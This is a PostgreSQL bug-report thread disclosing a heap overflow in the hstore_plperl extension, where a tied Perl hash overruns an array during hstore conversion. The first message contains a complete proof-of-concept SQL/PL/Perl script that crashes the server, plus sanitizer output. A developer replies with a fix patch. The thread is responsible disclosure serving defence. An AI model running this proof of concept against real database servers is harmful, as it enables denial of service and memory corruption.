BUG #19604: Bug 9: `plperl_to_hstore` heap overflow with a tied Perl hash

Started by PG Bug reporting formabout 2 months ago2 messagesbugs
Beta feature

Hackorum builds and tests every patch posted to the lists, not only commitfest submissions. This is Hackorum's own CI rather than the PostgreSQL project's, and it is still under testing - please report anything that looks wrong.

won't retrysuccessCI history

You can run a PostgreSQL built from this patch straight from Docker, with no checkout and no build:

docker run --rm -p 5432:5432 ghcr.io/hackorum-dev/postgres-patch:t253296
psql -h localhost -U postgres

Built from patchset v2 (message #2), August 10, 2026 at 11:08 AM.

Every patchset is also pushed to a branch of our PostgreSQL fork, so you can check out the same tree CI built. Without a PostgreSQL checkout:

git clone --branch t253296_2 https://github.com/hackorum-dev/postgres.git

In a checkout you already have, add the fork once:

git remote add hackorum https://github.com/hackorum-dev/postgres.git

then, for this patchset and every later one:

git fetch hackorum t253296_2 && git checkout t253296_2

Patchset v2 (message #2) is on t253296_2

Jump to latest
#1PG Bug reporting form
noreply@postgresql.org

The following bug has been logged on the website:

Bug reference: 19604
Logged by: Yuelin Wang
Email address: 1217816127@qq.com
PostgreSQL version: 19beta2
Operating system: Linux (Ubuntu 24.04, x86_64)
Description:

### Summary

In `contrib/hstore_plperl/hstore_plperl.c`, `plperl_to_hstore()` sizes its
`Pairs` array from `hv_iterinit()`. For tied Perl hashes, that count can be
small while `hv_iternext()` yields many keys. Trusted `plperl` code can
return such a hash and write far past the allocated array during hstore
conversion.

### PoC

SQL script:

```sql
CREATE EXTENSION IF NOT EXISTS hstore;
CREATE EXTENSION IF NOT EXISTS plperl;
CREATE EXTENSION IF NOT EXISTS hstore_plperl;

CREATE OR REPLACE FUNCTION vuln_hstore_boom() RETURNS hstore
LANGUAGE plperl
TRANSFORM FOR TYPE hstore
AS $$
package VulnEvil;
sub TIEHASH { bless { n=>0, max=>100000 }, shift }
sub FIRSTKEY { $_[0]{n}=0; "k0" }
sub NEXTKEY { my $s=shift; $s->{n}++; $s->{n}>=$s->{max} ? undef :
"k".$s->{n} }
sub FETCH { "v" }
sub EXISTS { 1 }
package main;
tie my %h, 'VulnEvil';
return \%h;
$$;

SELECT vuln_hstore_boom();
```

### Result

The backend crashes during hstore conversion:

```text
AddressSanitizer: SEGV
plperl_to_hstore
plperl_sv_to_datum
plperl_func_handler
server closed the connection unexpectedly
```

#2Aleksander Alekseev
aleksander@timescale.com
In reply to: PG Bug reporting form (#1)
Re: BUG #19604: Bug 9: `plperl_to_hstore` heap overflow with a tied Perl hash

Hi,

Thanks for the report.

### Result

The backend crashes during hstore conversion:

```text
AddressSanitizer: SEGV
plperl_to_hstore
plperl_sv_to_datum
plperl_func_handler
server closed the connection unexpectedly
```

Yes, that's quite serious. I propose the attached patch.

--
Best regards,
Aleksander Alekseev

Attachments:

t253296_2
v1-0001-hstore_plperl-Fix-crash-when-transforming-a-tied-.patchtext/x-patch; charset=US-ASCII; name=v1-0001-hstore_plperl-Fix-crash-when-transforming-a-tied-.patchDownload+48-19